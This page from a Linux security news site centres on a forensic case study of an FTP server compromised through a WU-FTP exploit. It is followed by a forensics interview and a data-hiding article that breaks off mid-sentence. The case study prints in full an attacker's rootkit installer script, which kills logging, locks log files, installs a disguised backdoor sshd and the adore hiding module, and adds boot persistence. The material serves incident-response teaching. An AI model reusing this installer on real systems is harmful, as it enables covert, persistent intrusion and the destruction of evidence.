Stay Ahead With Linux Security Features
security advisory attack A Linux server gets cleaned up after an intrusion. The suspicious process is terminated, credentials are rotated, and the system is rebooted during maintenance. Everything seems secure. A few hours later, the same outbound connection appears again. . Situations like that point to persistence . The attacker no longer needs the original exploit because something on the host continues restoring access behind the scenes. Finding that mechanism is often more important than understanding how the...
Jun 08, 2026
threat detection scalability Building a SIEM is easier than scaling one. Most open-source deployments start as a simple "all-in-one" server. It is easy to set up, but that design rarely survives the transition from a lab to a production workload. . A SIEM watching 20 endpoints is not doing the same job as one watching 500. More endpoints mean more logs; more logs require more storage; more storage makes search heavier. Eventually, the very architecture that made your lab easy to deploy becomes the reason your production...
Jun 04, 2026
security advisory apache A newly disclosed attack technique called HTTP/2 Bomb is drawing attention because it targets the software that sits at the front of much of the Linux internet. Apache HTTP Server, NGINX, Envoy, and the ingress layers that many Kubernetes environments depend on can be forced into consuming disproportionate amounts of memory using relatively small amounts of attacker traffic. . For Linux administrators, the concern is not the HTTP/2 protocol itself. It is the possibility that a single...
Jun 04, 2026
security advisory important The compromise of Nx Console shows how much infrastructure now sits behind a single developer account. GitHub repositories, CI/CD pipelines, container build systems, Terraform projects, Kubernetes deployments. None of those systems was the initial target. The workstation was. . Attackers did not need a Linux privilege escalation bug or a remote code execution chain. They needed developers to trust a tool they were already using. For many organizations, that was enough. What Happened? Federal...
Jun 03, 2026
security advisory open-source You remove the malware. You rotate the compromised credentials. You patch the original vulnerability and close the ticket. Two weeks later, the attacker is back. . What happened? You didn't lose the battle at the exploit; you lost it at the cleanup. In many modern Linux intrusions, the malware you found wasn't the main problem—it was the fallback mechanisms left behind. These hooks quietly restore attacker access the moment you look away. If you clean a host but miss these persistence layers,...
Jun 02, 2026
Refine features
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Loading...
Explore Latest Linux Security features
We found -2 articles for you...
102
network securityincident responsethreat detectionFTP Server Incident: Compromise Analysis and Forensics Investigation
This article presents a case study of a company network server compromise. The attack and other intruder's actions are analyzed. Computer forensics investigation is undertaken and results are presented. The article provides an opportunity to follow the trail of incident response for the real case. . Case Study Introduction This is a case study of a medium-sized computer hardware online retailer that understands the value of network and host security, since its business depends upon reliable and secure online transactions. Its internal network and DMZ setup was designed with security in mind, verified by outside experts, protected by latest in security technology and monitored using advanced audit trail aggregation tools. Following the philosophy of defense-in depth, two different firewalls and two different intrusion detection systems were used. The DMZ setup was of the bastion network type with one firewall separating the DMZ from the hostile Internet and another protecting internal networks from DMZ and Internet attacks. Two network IDS were sniffing the DMZ traffic. In the DMZ the company has gathered the standard set of network servers (all running some version of UNIX or Linux): web, email, DNS servers and also a dedicated FTP server, used to distribute hardware drivers for the company inventory. The FTP server, running Red Hat 7.2, is the subject of this account. This server was the latest addition to the company network. Let's shed some more light on the DMZ setup, since it provides an explanation why the attack went the way it did. Outside firewall (Firewall 1 on the picture) provided NAT services and only allowed access to a single port on each of the DMZ hosts. Evidently, those were TCP port 80 on web server, TCP port 25 on the mail server, TCP and UDP ports 52 on DNS server and TCP ports 21 and 20 on the ftp server. No connections to outside machines were allowed from any DMZ machine. Internal firewall blocked all connections from the DMZ to internal LAN (noexceptions) and allowed connections that originated from the internal LAN to DMZ machines (only specified ports for management and configuration). The second firewall (Firewall 2 on the diagram) also worked as application-level proxy for web and other traffic (no direct connections to the Internet from internal LAN were allowed). In addition, each DMZ machine was hardened and ran a host-based firewall, only allowing connections on a single specified port (two for the FTP) as mentioned above from outside and NOT from other DMZ machines. While it is unwise to claim that their infrastructure was unassailable, it is quite reasonable to say that it was "better than most". On Monday morning, company support team was alerted by a customer who was trying to download a drive update. He reported that FTP server "was not responding" to his connection attempts. Upon failing to login to FTP server remotely via secure shell, the support team member walked to a server room only to discover that the machine crashed and is not able to boot. The reason was simple - no operating system was found. At that point, their incident response plan was triggered into action. Since FTP server was not of critical business value, it was decided to complete investigation before redeploying the server and to utilize other channels for software distribution temporarily. The primary purpose of investigation was to learn about the attack in order to secure the server against recurrence. The secondary focus was to trace the actions of the attacker. Diagnosing the Evidence The main piece of evidence for my investigation was a 20 GB disk drive. No live forensics was possible since the machine crashed when running unattended. In addition, we had a set of log files from firewall and IDS, all nicely aggregated by netForensics ( ) software. The investigation started from reviewing the traffic patterns. The thing that attracted the most attention was an IDS report with 3 high priority events - recentWU-FTP attack at about 02:29 on April 1. It appears that IDS signature base was updated with the new attack signatures, while the company FTP server FTP daemon software was not. Considering the above network infrastructures, we hoped there will be no more unpleasant security surprises. There were: syslog on the FTP server was not set for remote logging. Thus, no first hand attack information was available from the FTP server itself. By analyzing the connection data from the machine that launched an attack, it was found that: The intruder probed the Em outside visible IP addresses at least several hours prior to the incident. Upon compromising the FTP server, the intruder tried to connect to other DMZ hosts and to some machines on the outside. All such attempts were unsuccessful. The attacker has uploaded a file to the FTP server. The last item was another unpleasant surprise. How attacker was able to upload the file? The company system admin team was questioned and the unpleasant truth came out: the FTP server had a world-writable directory for customers to upload the log files used for hardware troubleshooting. Unrestricted anonymous uploads were possible to the "incoming" directory and it was set up in the most insecure manner possible: anonymous users were able to read any of the files uploaded by other people. Among other things, this presents a risk of FTP server being used to store pirated software by outside parties. After network analysis part (it was easy due to netForensics advanced data correlation capabilities) is was time for a hard drive forensics. The disk was found to contain three partitions, "/", "/usr" and "/home". After the disk was connected to a forensics workstation, images of all partitions were taken: # dd if=/dev/hdc1 of=/home/hacked-ftp-hdc1 (and same for the two other partitions) Upon mounting the partitions # mount -o ro,loop,noatime /home/hacked-ftp-hdc1 /mnt/hf-hdc1 it was found that allfiles were deleted. Then, it was decided to look for fragments of log files (originally in /var/log) to confirm the nature of attack. The command: # strings /home/hacked-ftp-hdc1 | grep 'Apr 1' took a while to run on a 2GB partition. It returned the following log fragments from the system messages log, the network access log and the FTP transfer log (fortunately, FTP server was using verbose logging of all transfers): System log: Apr 1 00:08:25 ftp ftpd[27651]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 00:17:19 ftp ftpd[27649]: lost connection to 192.1.2.3 [192.1.2.3] Apr 1 00:17:19 ftp ftpd[27649]: FTP session closed Apr 1 02:21:57 ftp ftpd[27703]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 02:26:13 ftp ftpd[27722]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], mozilla@ Apr 1 02:29:45 ftp ftpd[27731]: ANONYMOUS FTP LOGIN FROM 192.1.2.3 [192.1.2.3], x@ Apr 1 02:30:04 ftp ftpd[27731]: Can't connect to a mailserver. Apr 1 02:30:07 ftp ftpd[27731]: FTP session closed It indicates that attacker was first looking around with a browser (standard password mozilla@). Then supposedly the exploit was run (password x@). The line about mailserver looks really ominous. Apr 1 00:17:23 ftp xinetd[921]: START: ftp pid=27672 from=192.1.2.3 Apr 1 02:20:18 ftp xinetd[921]: START: ftp pid=27692 from=192.1.2.3 Apr 1 02:20:38 ftp xinetd[921]: EXIT: ftp pid=27672 duration=195(sec) Apr 1 02:21:57 ftp xinetd[921]: START: ftp pid=27703 from=192.1.2.3 Apr 1 02:21:59 ftp xinetd[921]: EXIT: ftp pid=27692 duration=101(sec) Apr 1 02:26:12 ftp xinetd[921]: EXIT: ftp pid=27703 duration=255(sec) Apr 1 02:26:13 ftp xinetd[921]: START: ftp pid=27722 from=192.1.2.3 Apr 1 02:29:40 ftp xinetd[921]: START: ftp pid=27731 from=192.1.2.3 Apr 1 02:30:07 ftp xinetd[921]: EXIT: ftp pid=27731 duration=27(sec) The above log excerpt shows that attacker has spent some time snooping around the ftp server directories. Mon Apr 1 02:30:04 2002 2 192.1.2.3 262924 /ftpdata/incoming/mount.tar.gz b _ i a x@ ftp 0 * c That shows the upload of some tools. All downloads initiated from the FTP server to the attacker's machine have failed due to rules on the company outside firewall. But by that time the attacker already had a root shell from the exploit. Initial Conclusions Two conclusions can be drawn from the above data. First, the server was indeed compromised from outside the perimeter, using the recent FTP exploit (see and 2001 CERT Advisories for more details) using a machine at 192.1.2.3 (address sanitized!). Second, the attacker managed to get some files onto the victim host. Tracking the Rootkit We suspected that the file "mount.tar.gz" contained a rootkit. We were interested whether the attacker managed to install it and what was the tool functionality. Thus the hunt for the rootkit began. Before sending the heavyweights (i.e. forensics toolkits) into battle, the strings file (i.e. the output of "strings /home/hacked-ftp-hdc1") was grepped for various interesting words. Another productive way to find stuff (text-only) is to load the entire strings output in your favorite UNIX pager program (such as "less") and then look for interesting keywords. The latter method allows one to look at strings that surround the interesting one. The apparent search keywords were "mount.tar.gz", attacker's IP address (192.1.2.3), "incoming" (for the path name to the FTP directory) and some others. The next piece of evidence that surfaced was a ncftp log fragment. NcFtp is a UNIX/Linux FTP client, that preserves its own log file of outbound connections for the purposes of bookmarking them for easy return. SESSION STARTED at: Mon Apr 1 02:21:17 2002 Program Version: NcFTP 3.0.3/635 April 15 2001, 05:49 PM Library Version: LibNcFTP 3.0.6 (April 14, 2001) Process ID: 27702 Platform: linux-x86 Uname: Linux|ftp|2.4.7-10|#1Thu Sep 6 17:27:27 EDT 2001|i686 Hostname: localhost.localdomain (rc=4) Terminal: dumb 00:21:17 Resolving 192.1.2.3... 00:21:17 Connecting to 192.1.2.3... 00:21:17 Could not connect to 192.1.2.3: Connection refused. 00:21:17 Sleeping 20 seconds. There were several of those messages, indicative of several failed connection attempts. netForensics network traffic data also shows the attacker trying to ping the outside hosts (also unsuccessful). Next keyword search in strings output brought much larger fish - a list of files in rootkit and its installation script. Unfortunately, it turned out to be the high point of the investigation. Evaluating the Rootkit List of rootkit files: a.sh adore-0.42.tar.gz sshutils.tar.gz utils.tar.gz Below, we provide a complete rootkit installation script with added comments (likely, a.sh from the above list): #!/bin/sh # seting paths PATH=".:~/bin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11/bin:/opt/bin: /usr/local/sbin:/usr/local/bin:/usr/local/kde/bin:/usr/local/mysql/bin: /opt/gnome/bin" Make sure that history file in shell in not written: # unseting the histifle unset HISTFILE export HISTFILE=/dev/null Prepare for installation: # making the directories echo "[Facem directoarele]" uname -r |awk '{print $1}'|while read input ;\ do mkdir /lib/modules/$input/.modinfo ; done sleep 1 if [ -d /etc/sysconfig/console ];then echo "Dir found" else mkdir /etc/sysconfig/console echo "/etc/sysconfig/console created" if [ -d /usr/info/.1 ];then echo "Dir found" else mkdir /usr/info/.1 echo "files dir created" sleep 1 Unpack all components. The word below means "unarchiving" in Romanian: # dezarhivam echo "[dezarhivam]" tar zxvf adore-0.42.tar.gz sleep 3 tar zxvf sshutils.tar.gz sleep 3 tar zxvf utils.tar.gz The section below makes sure that logs are not written by killingthe daemon and making the log files immutable by setting the file attribute. # read only logs until we finish chattr +ia /var/log/messages chattr +ia /varlog/secure chattr +ia /var/log/maillog chattr +ia /root/.bash_history #killing syslogs killall -9 syslogd killall -9 klogd The section below deploys and starts backdoor sshd daemon. #copying ssh files/confs echo "[SSH part]" cd ../sshutils mv .napdf /etc/sysconfig/console/ mv .racd /etc/sysconfig/console/ mv .radd /etc/sysconfig/console/ mv .seedcf /etc/sysconfig/console/ mv nscd /usr/local/bin chown root.root /usr/local/bin/nscd cd /tmp/mount # starting ssh /usr/local/bin/nscd -q The adore Linux kernel module is deployed to hide malicious hacker resources. #kernel module cd /tmp/mount/adore ./configure make sleep 27 #copiem modulele uname -r |awk '{print $1}'|while read input ;do cp adore.o /lib/modules/$input/.modinfo/arpd.o;done uname -r |awk '{print $1}'|while read input ;do cp cleaner.o /lib/modules/$input/.modinfo/arpd-use.o;done uname -r |awk '{print $1}'|while read input ;do cp ava /lib/modules/$input/.modinfo/a;done #inseram modulele uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd.o;done uname -r |awk '{print $1}'|while read input ;do /sbin/insmod /lib/modules/$input/.modinfo/arpd-use.o;done #hiding directories uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /etc/sysconfig/console;doneuname -r |\ awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a h /usr/info/.1;done uname -r |awk '{print $1}'|while read input ;do /lib/modules/$input/.modinfo/a i `cat /etc/sysconfig/console/.piddr`;done Create a boot-up script and (for unclear reason) updating file locations for search (updatedb). # utils # copiing boot file cd /tmp/mount cp randoms /etc/rc.d/init.d/ # next faze updatedb& sleep 1 cd /root chattr +ia .bash_history Denial of service tools aredeployed next. Hey, you never know what might lurk in the cyberworld... Some tools were not identified (e.g. fsch2). cd /tmp/mount/utils mv fsch2 /etc/cron.daily/ mv imp /usr/info/.1 mv slc /usr/info/.1 mv lil /usr/info/.1 mv sense /usr/info/.1 Make sure adore and backdoor sshd are started on bootup. # sys configs echo "/usr/local/bin/nscd -q" > > /etc/rc.d/rc.sysinit echo "/etc/rc.d/init.d/randoms > /dev/null &" > > /etc/rc.d/rc.sysinit Next, remove evidence and put the logs back to normal. chattr +ia /etc/rc.d/rc.sysinit #ending uname -r |awk '{print $1}'|while read input ; \ do /lib/modules/$input/.modinfo/a u /tmp/mount/adore;done rm -rf /tmp/mount* /etc/rc.d/init.d/syslog start & sleep 5 chattr -ia /var/log/messages chattr -ia /var/log/secure chattr -ia /var/log/maillog echo "DONE" It is worthwhile to note, that comments within the rootkit installation script are in Romanian. For whatever reason, several of other known rootkits are also of Romanian origin (e.g. ). Next section of strings file contained more scriptlets used by the rootkit, headers from some denial of service tools (imp flooder, slice DoS tool, look them up at packetstorm), parser for LinSniffer logs (another old favorite of script kiddies) and a hunk of adore LKM source code with author's headers intact. In addition, a fragment of what appears to be a SSH backdoor configuration file was found. Overall, it turned out to be a pretty low-tech rootkit, using only publicly available components. The next goal was to recover all of the rootkit files. While none of the components appear to use new penetration technology, it is still of interest. For example, usage of kernel-level backdoor (adore) is a mainstream rootkit shows that casual system administrators will likely miss it on their systems. Utilizing Forensics Tools Coroner's toolkit tct (see and The Coroner's Toolkit (TCT) ) was then used to look for the rootkit. We also tried usingrecently released computer forensics toolkit - TASK by Brian Carrier from @Stake. TASK is an improvement over tct since it integrates tct-utils (that can be used to built better malicious activity timeline) with core tct functionality. TASK also integrates with "autopsy" forensic browser to provide a nice interface for file browsing, recovery and timeline creation on multiple disk images. Unfortunately, most of the tct and TASK toolkits functionality will not work on a Red Hat 7.2 machine. Due to certain changes in filesystem code, the inode data (that was used to recover deleted files) is now zeroed out. The tips from Linux Undeletion HOWTO ( ) and tools like recover ( ), e2undel (the e2undel home page) based on the above HOWTO will all fail to recover a single file. Excellent utilities were rendered unusable. However, it is not a bad thing for many people, computer forensic examiners excluded, since deleted data should probably stay deleted. Fortunately, the tct kit also implements a more painful way to recover the files - but it will work on Red Hat 7.2 with zeroed inodes. Unrm/lazarus tool provides a good chance to recover at least something. Lazarus looks at all the disk blocks, determines their type (such as text, email, C code, binary, archive or something else) using UNIX "file" command. It also concatenates consecutive blocks of the same type together, assuming that they are pieces of the same file. This algorithm will most likely to bring back text data than binary data though. To run the tool, one first need to create a file containing all the unallocated space from the partition: ./tct-1.09/bin/unrm /home/hacked-ftp-hdc1 > \ /home/hacked-ftp-hdc1.unrm Then lazarus tool is then run: ./tct-1.09/lazarus/lazarus /home/hacked-ftp-hdc1.unrm It takes several hours to process the 2GB partition. As a result, two directories are formed: "blocks" contains the recovered files (or just blocks) "www" contains a HTML map of all therecovered files (if desired, the output can be looked at with a browser). In our investigation we were looking for an archive containing the rootkit or any of its components. There are many ways to analyze the "blocks" directory (all are slow, some are excruciatingly slow). To look for gzip-compressed files we do: # find blocks -type f -print | xargs file {} |\ grep gzip > /home/hacked-ftp-hdc1.blocks-gzipped Since we also know the size of the rootkit (reported in the above fragment of the FTP transfer log). # awk -F ':' '{print $1}' /home/hacked-ftp-hdc1.blocks-gzipped |\ xargs -i ls -l {} Unfortunately, nothing was found. More data slicing and dicing follows, also with zero results. For example, below we show an attempt to find more C source files: # find blocks -type f -print | xargs file {} | grep 'C program text' Nothing related to the incident is found by this and other commands. As a last resort, an even newer forensics tool called "foremost" was used. It was recently released [reportedly] by USAF Office of Special Investigations. "Foremost" uses customizable binary data signatures to look for files within the disk image file. I created a signature for the tool to look for GNU gzip archives since the rootkit and its components (shown above) were all gzipped tar archives. The USAF tool brilliantly did its job where TCT failed! Two of the rootkit components were recovered (adore.tar.gz and utils.tar.gz). Adore kit contained a standard adore LKM v.0.42 (as distributed by TESO). Utils package contained the following five binaries: -rw-r--r-- 1 root root 14495 Jan 22 23:37 fsch2 -rwxr-xr-x 1 root root 8368 Aug 7 2000 imp -rwxr-xr-x 1 root root 7389 Jan 15 2001 lil -rwxr-xr-x 1 root root 4060 Jun 25 2000 sense -rwxr-xr-x 1 root root 15816 Oct 13 2000 slc Imp and slc were identified above as DoS tools. Lil turned out to bea sniffer. Its string output matched the one shown on the . Sense was the Perl parser for sniffer output (also found earlier from strings of the whole disk image). Fsch2 remains a mystery. In the rootkit installation file it is set to run daily from cron. It has strings indicative of network connectivity (socket, bind, listen, accept, etc), the ever-ominous /bin/sh and the string that looks like a password. It might be some sort of network backdoor. At that point, investigation was closed. Attacker's ISP was notified, and no action was taken by them (normal practice). Just one of those throw-away dial-up accounts... In the second part of the article, we will discuss the security lessons this incident teaches us. About the Author Anton Chuvakin, Ph.D. is a Senior Security Analyst with netForensics ( ), a security information management company that provides real-time network security monitoring solutions.. Our organization recently dealt with a serious network security breach involving a compromised FTP server, raising concerns over data integrity and security.. FTP Security, Forensics Investigation, Network Compromise, Red Hat Incident, Incident Response. . Anthony Pell
Jan 29, 2010
•
102
incident responseevidence preservationLinuxForensics Challenges In UNIX And Linux Systems: Insights And Solutions
No longer a dark and mysterious process, computer forensics have been significantly on the scene for more than five years now. Despite this, they have only recently gained the notoriety they deserve.. Expanded consciousness has also brought along the inevitable rise in self-proclaimed "experts" in the field of computer forensics. Properly investigating incidents takes training, so don't be fooled by the snake oil salesmen touting themselves as "experts" in this field. Many people attend courses without actually having taken part in significant investigations. Being a network detective boils down to one thing only: your level of expertise. Essentially the era of computers ushered in a new type of criminal that pervades exclusive office echelons as easily as mid-western internet cafes. As technology progresses, so shall digital crime and the unwavering devotion of its miscreants to find newer and more complex routes to follow. The danger for the world's corporations is that e-predators reside within the walls of their own organizations. These internal criminals are busy perpetrating crimes that range from identity theft to the disbursement of illegal internet images. Moving away from illegal activity on the standard operating system, more savvy criminals have utilized UNIX and Linux as their tools of choice. Seemingly more difficult to investigate, these alternative operating systems are a less explored area in the science of computer forensics. The Evolution of Computer Forensics Recently I had the opportunity to discuss alternative OS forensics with "Dave", an agent with years of expertise who has asked that I do not identify his last name or office due to the secretive nature of his job. In discussing the rise of computer forensics, I asked how technology has changed the face of corporate investigations for Dave and his colleagues. "Like everything else, when people started to use computers on a daily basis, people soon figured out methods for doing illegal things. Fraud, threats,insider trading, and pornography just to name a few things. All of this was present before the dawn of computers, but the internet just makes it easier and faster to perpetrate crime. " I was interested in some case examples of things that would have been impossible without today's available computer investigative tools. Dave answers, "Some of the tools that stand out are Firewire, faster machines and Gig E. In 1999, the common practice to image a single drive machine was to turn off the computer, boot from a controlled floppy disk and send the image to a 2GB Jaz drive. In practice, an 8 GB HDD would have taken about 8-10 hours. Using Firewire, I can image the same drive in 15-20 minutes. The major choke point of imaging single drive machines is the speed of the hard drive being imaged. The problem still remains that you need to examine what you imaged. This is where high-end machines come into play. I can run numerous grep statements and finish within a few hours. Five years ago that would have taken all night." The Alternative OS Security threats are prevalent in every computer network, but what about those networks employing a less standard OS such as Linux or UNIX? How much crime is occurring and how can the IT administrator investigate successfully? Dave answers, "People are people. If they want to steal or do something illegal, then they will find a way. The security threats are present in any OS/network. The problem becomes worse the more people know about the network. Generally, everyone knows Windows and how to make things happen with it. If a particular criminal isn't fluent in *nix then they'll most likely move on to a different target." What are the major differences in investigating UNIX OS as opposed to MS OS? "File systems basically work in the same manner. So the OS driving the file system is the major hurdle. A lot of forensic "experts" are dismayed when they have to investigate a UNIX box. Basically it comes down to a lack of training. Different OS's createdifferent files which can be used by the forensic examiner. For instance, /var/log/messages is a good source in Linux, and WINNT\system23\LogFiles\W3SVC1 is a good source in Windows," says Dave. The customization of scripts is another challenge for UNIX administrators. I spoke with Jon Bair, Director of Professional Training at Guidance Software, about the issues a UNIX administrator faces in trying to customize scripts that run auto forensic-audits of their network. Jon states, "In many cases, UNIX administrators are responsible for managing various types of systems at once and not all of these systems may be running the necessary components to allow the use of one script to effectively audit their infrastructure, let alone audit these systems in a forensically sound or trustworthy manner. What if during their audit he/she stumbles across a system that was being used in illegal activity; the very actions of their script may have just altered valuable data that may have proven important upon later investigation. What if their script requires specific files such as binaries or libraries to be present on the system they are auditing, but do not exist? Even worse, what if they are calling local system binaries from their script in order to gather data, but the binaries they are calling have been "trojaned" and do not produce true data?" Peripheral and Large Scale Forensics Then there is the subject of utilizing computer forensics to investigate PDA's and cell phones. Both can be investigated utilizing computer forensic methodologies. The question arises as to their differences from the PC's OS. Dave explains, "PDA and cell phones handle data differently, but there is still a spot on them which identifies the location of all the files/programs. How different is this from Win98 OS? It really isn't, the issue stems from how toget the data from a non-standard device in a forensically sound manner." Conducting an investigation on a single PC is a daunting enough task without having to search the entire network for criminal activity. I asked Dave to explain the major challenges between conducting a single PC audit and conducting a full-scale WAN based investigation. "Basically, the major problem becomes the overwhelming size of evidence and preserving the chain-of-custody. If I seize a 2TB server, then I will need a 2+TB server to examine the data. I have had occasion to examine 29TB of data, and one must stay extremely organized and patient in such a case," states Dave. Expertise? The meteoric rise of computer forensics is clearly noticeable when browsing today's security conference agendas. There are numerous courses taught by what are termed "experts" in their respective fields. Since computer forensic technology is ever-evolving, it would be difficult to term oneself an expert in a field that has not yet finished developing. Many corporations get themselves into trouble when they hire an expert investigator with almost no real investigative experience. The use of poorly trained individuals for the purpose of conducting a digital investigation can prove costly to a corporation trying to recover both their reputation and their data. Dave explains, "There are a lot of civil and criminal issues that could come into play if an untrained person (let's use a sysadmin) was to conduct a forensic examination. For example: The sysadmin identifies user X on their network who is downloading child pornography. The sysadmin show the evidence to his employer, who then transfers the evidence to senior executives. User X is fired on the spot and escorted out of the building. Several issues occur here: Are you sure the files are there? Are you sure you got the right user? How about User Y borrowing User X's machine for a while? As for theemailing of the evidence to people within the company; the sysadmin has just unknowingly committed distribution of said illegal materials over the network and there is a distinct possibility that the wrong user was fired and the corporation will be facing an embarrassing lawsuit. Another example: The sysadmin identifies a user doing something very unseemly such as threatening a nother employee via email. However, because the sysadmin is untrained, he contaminates the evidence. Now , someone in law enforcement has to figure out a way around the contaminated data to continue with theinvestigation." Computer forensics in the hands of a properly trained investigator can prevent these issues by providing detailed facts regarding the origination of the illegal material and accurate user identification. It can also preserve the digital evidence for use in pressing charges following best practice, court-upheld standards. There has been an upsurge in the amount of computer forensics experts in the security field. This is especially apparent in the consulting industry. Wondering what the major differences were between a forensics consultant and a law enforcement investigator, I again went to Dave for answers. "The difference between corporate and law enforcement is the training the individual examiner has received. In my opinion, the Federal Law Enforcement Training Center (FLETC) has the best training anywhere but it's for law enforcement money and give inadequate training." It's important to note that there are also numerous highly qualified forensics investigators available to assist with critical cases and successfully preserve evidence for trial. There are also several reputable courses taught nationwide through vendors and consultancies that are able toprepare investigators to face complex investigative circumstances. A word of caution to anyone in need of computer forensics expertise, check references! All reputable forensics firms, including vendors with professional services divisions and independent investigators, should be able to provide a list of customers, and/or references that can bolster their claims. While details of actual cases solved will be highly confidential, the reputation and collective expertise of the investigators should be readily apparent. Past accomplishments, professional organizations, client references and provable experience are crucial to making the proper hire. Compromising data and utilizing unproven forensic methodology can do much more damage than the crime itself. Choose your investigators with the same common sense that you would use to choose your surgeon. Dave elaborates, "In my day to day dealings with people, 90% of computer forensics experts have never seen or touched a Unix system. There are a bunch of reasons for this: most due to the lack of official training in this environment. Most experts deal with Windows because it's easier to understand. Taking several courses in a subject does not make a person an expert." To give you an example of where experts fail with expertise: a federal investigator was told to image a single drive Windows2000 server. Instead of creating a digital image of the physical drive, he converted the file system from Fat 32 to NTFS, then made a logical backup of the drive. By his actions, he had destroyed the original evidence and damaged my case. Standard procedure would have been to boot from a controlled floppy, create a physical image of the drive and send it to another hard drive without writing a thing to the victim drive. I would not term this person an expert by any means, however, his title and rank indicate that he is. I also know of agovernment employee who is a self-proclaimed forensic expert. It says as much on his email signature block. This person has never actually conducted an investigation. However, he did take numerous courses on the subject and he has an excellent resume. A classic case of expert vs. expertise. Personally, I have been conducting active computer forensic investigations since 1999. All I do are forensic examinations. I have been teaching network investigations and computer forensics at FLETC since 2000. I have developed forensic tools which have become Armed Forces standard for incident response and those same tools are used by numerous US and foreign law enforcement agencies. But am I an expert? No, I know I am not. I just have an interesting and dynamic job." Is There Hope? There is a lot to be learned for those in need of investigative services. The irony is that most every corporation is in need of investigative services and incident response. The ROI for not only implementing a top-of-the-line forensic solution and investing in proper employee training is virtually immeasurable. Across the years, those properly trained employees are going to stifle a large percentage of attempts to defraud the corporation, saving both the reputation and the irreplaceable data. Utilizing top-of-the-line enterprise forensic tools will enable the company to comply with newly enacted legislation, provide irrefutable data during audits and lawsuits, and basically monitor their network with unprecedented eagle eye efficiency. A great place to start when looking for a competent forensic investigator would be your local electronic crimes task force team. The ECTF's were organized by Congress as a branch of the Secret Service providing assistance to law enforcement in digital investigations: Electronic Crimes Task Force Regional Locations You should also look into the High Technology Crimes Investigation Association (HTCIA) whose mission is to connect individuals involved in computer crimes investigation andprovide critical, cutting edge training to their members on emerging technology and trends. Home - High Technology Crime Investigation Association Further, there are computer forensic courses taught by software vendors, such as Guidance Software that offer very in-depth product training. These courses are usually multi-tiered by expertise and are designed to challenge both new and seasoned investigators in the field of incident response and computer investigations. These courses offer an overview of best industry practice and common methodology which a new investigator may not be familiar with. OpenText Cybersecurity Cloud solutions For college-type training you should look into CompuForensics. A member of the HTCIA CompuForensics, in association with accredited universities and colleges in Ohio, Texas, Pennsylvania and Tennessee, offers government and private sectors a highly cost effective approach to upgrading the technical skills of their investigative and support personnel. Unlike pseudo certification training characterized by resort based lecture seminars with unsupervised testing, CompuForensics Initial Response Team and advanced Windows Analysis Using Linux courses are exclusively available through accredited universities or colleges. https://compuforensics.com/ By no means is this an exhaustive list of where to locate experienced computer forensic investigators or find out about appropriate training courses. These links are designed to point you in the right direction and hopefully assist you in avoiding the expert that lacks the expertise. Note: The opinions expressed in this article are those of the author and her subjects. They are in no way indicative of the opinions of the publication or the publication's staff. The publication's policy is to encourage expression and explore differences in information exchange. Melisa LaBancz is a freelance journalist in the San Francisco Bay Area who has spent the past several years writing unique pieces about thesecurity industry. With a special fascination for encryption technology and computer forensics, she has called upon the industry's best to assist in the quest for layman's terms and a trailer park understanding. Her day job consists of being a security export analyst and a security PR consultant to some of the nation's most cutting edge security vendors. When not feverish over worldwide security conferences, she can be found photographing random glass and steel architecture, antagonizing her garden into growing and finishing off her Japanese half sleeves. In an effort to articulate complex topics for a wider variety of readers, Melisa is known to rely on her belief in comparative nonsense to build her case and has developed strong relationships among the industry's best known thought leaders. A few selected pieces: Super! Ultra! Jumbo! Privacy as the New Multi-Purpose Word Do It Yourself Security: Cutting Our Umbilical Dependence on the Consultant Community Fire and Brimstone in 21st Century Security . Expanded consciousness has also brought along the inevitable rise in self-proclaimed 'experts' in th. longer, mysterious, process, computer, forensics, significantly, scene. . Brittany Day
Jul 28, 2003
•
102
data recoveryforensicsfilesystemsData Recovery Techniques and Data Hiding on Linux Filesystems
Just when you thought your data was removed forever, Anton Chuvakin shows us how to recover data and even how data can surruptitiously be hidden within space on the filesystem. . It is common knowledge that what is deleted from the computer can sometimes be brought back. Recent analysis of security implications of " alternative datastreams " on Windows NT by Kurt Seifried has shown that Windows NTFS filesystem allows data hiding in "alternative datastreams" connected to files. These datastreams are not destroyed by many file wiping utilities that promise irrecoverable removal of information. Wiping the file means "securely" deleting it from disk (unlike the usual removal of file entries from directories), so that file restoration becomes extremely expensive or impossible. Some overview of what remains on disk after file deletion, how it can be discovered and how such discovery can be prevented are provided in Secure Deletion of Data from Magnetic and Solid-State Memory by Peter Gutmann. The author recommends overwriting files multiple times with special patterns. Against casual adversaries, simply overwriting the file with zeros once will help. Linux has no alternative data streams, but files removed using /bin/rm still remain on the disk. Most Linux systems uses the ext2 filesystem (or its journaling version, ext3 by Red Hat). A casual look at the design of the ext2 filesystem shows several places where data can be hidden. Let us start with the classic method to hide material on UNIX filesystems (not even ext2 specific). Run a process that keeps the file open and then remove the file. The file contents are still on disk and the space will not be reclaimed by other programs. It is worthwhile to note that if an executable erases itself, its contents can be retrieved from /proc memory image: command " cp /proc/$PID/exe /tmp/file " creates a copy of a file in /tmp . If the file is removed by /bin/rm , its contentstill remains on disk, unless overwritten by other files. Several Linux unerase utilities including e2undel attempt automated recovery of files. They are based on Linux Ext2fs Undeletion mini-HOWTO that provides a nice guide to file recovery from Linux partitions. Recovery can also be performed manually using debugfs Linux utility (as described in the above HOWTO). Overall, if recovery is attempted shortly after file removal and the partition is promptly unmounted, chances of complete recovery are high. If the system was heavily used, the probability of successful data undeletion significantly decreases. However, if we are to look at the problem from the forensics point of view, the chances of recovering something (such as a small part of the illegal image for the prosecution) is still very high. It was reported that sometimes parts of files from several years ago are found by forensic examiners. Thus files can be hidden in free space. If many copies of the same file are saved and then erased, the chance of getting the contents back becomes higher using the above recovery methods. However, due to the intricacies of ext2 filesystem, the process can only be reliably automated for small files. A more detailed look at ext2 internals reveals the existence of slack space. Filesystem uses addressable parts of disk called blocks, that have the same size. Ext2 filesystems typically use 1,2 or 4 KB blocks. If a file is smaller than the block size, the remaining space is wasted. It is called slack space. This problem long plagued early Windows 9x users with FAT16 filesystems, which had to use block sizes of up 